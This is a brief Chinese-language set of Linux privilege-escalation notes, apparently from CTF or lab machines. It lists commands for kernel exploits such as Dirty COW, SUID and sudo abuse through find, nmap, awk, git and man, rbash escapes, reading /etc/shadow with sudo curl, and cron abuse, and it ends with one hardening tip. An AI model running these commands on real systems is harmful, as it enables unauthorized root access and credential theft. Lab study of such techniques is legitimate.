# linux 提权笔记
# 利用内核漏洞提权
先开启一个可以交互的终端
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
发现靶机是低权限
查看靶机内核,发现其版本为 Ubuntu 14.04.
打开 kali 查询可利用的 exploit,将其下载
利用 python 将其传递到靶机上
1 | python3 -m http.server 8081 |
将 exp 进行编译执行,成功获得 root 权限
1 | gcc -o 37292.c 37292 |
# 利用旧版本nmap提权
nmap 支持 “interactive.” 选项,用户能够通过该选项执行 shell 命令,通常,安全人员会使用该命令来避免他们使用 nmap 命令被记录在 history 文件中
查看可利用的提权 find /-perm -u=s 2>/dev/null
发现 nmap 存在提权漏洞
1 | 利用nmap --interactive |
# 环境变量提权
利用普通用户找到可执行文件,进行提权
# 脏牛提权
使用 uname -a
命令查看 linux 内核信息,发现在脏牛漏洞范围内,可以进行测试。
(需要 root 用户存在可执行文件)
1 | searchsploit dirty |
3. 将 exp 一下载到本地,使用 gcc -pthread dirty.c -o dirty -lcrypt` 命令对 dirty.c 进行编译,生成一个 dirty 的可执行文件。
1 | chmod 777 40839.c |
# find提权
(DC-01)
先查找拥有 suid 权限的文件
1 | find / -perm -u=s 2>/dev/null |
进行提权
1 | touch test.txt |
# git提权
(DC-02)
寻找可用提权
绕过 rbash 进行提权
可用命令有 less、ls、scp、vi,绕过可用如下方法:
- 可使用 less 绕过:$less test 然后!‘sh’
- 使用 ls 绕过:$man ls 然后!‘sh’
- 使用 vi 绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash
还可以用 BASH_CMDS [a]=/bin/sh;a 直接绕过
或者更改环境变量,并查看 flag3.txt
1 | BASH_CMDS[a]=/bin/sh;a 注:把/bin/bash给a变量` |
尝试 git 提权:可使用 sudo git help config 或者 sudo git -p help
# sudo提权
1 | 如果知道用户为空密码可以尝试sudo提权 |
# awk提权
1 | sudo awk 'BEGIN{system("/bin/sh")}' |
提权成功
# man提权
1 | sudo man man |
# curl提权
1 | sudo curl file:///etc/shadow |
# crontab提权
cat /etc/crontab
模拟一下
防范:crontab 任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron 下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。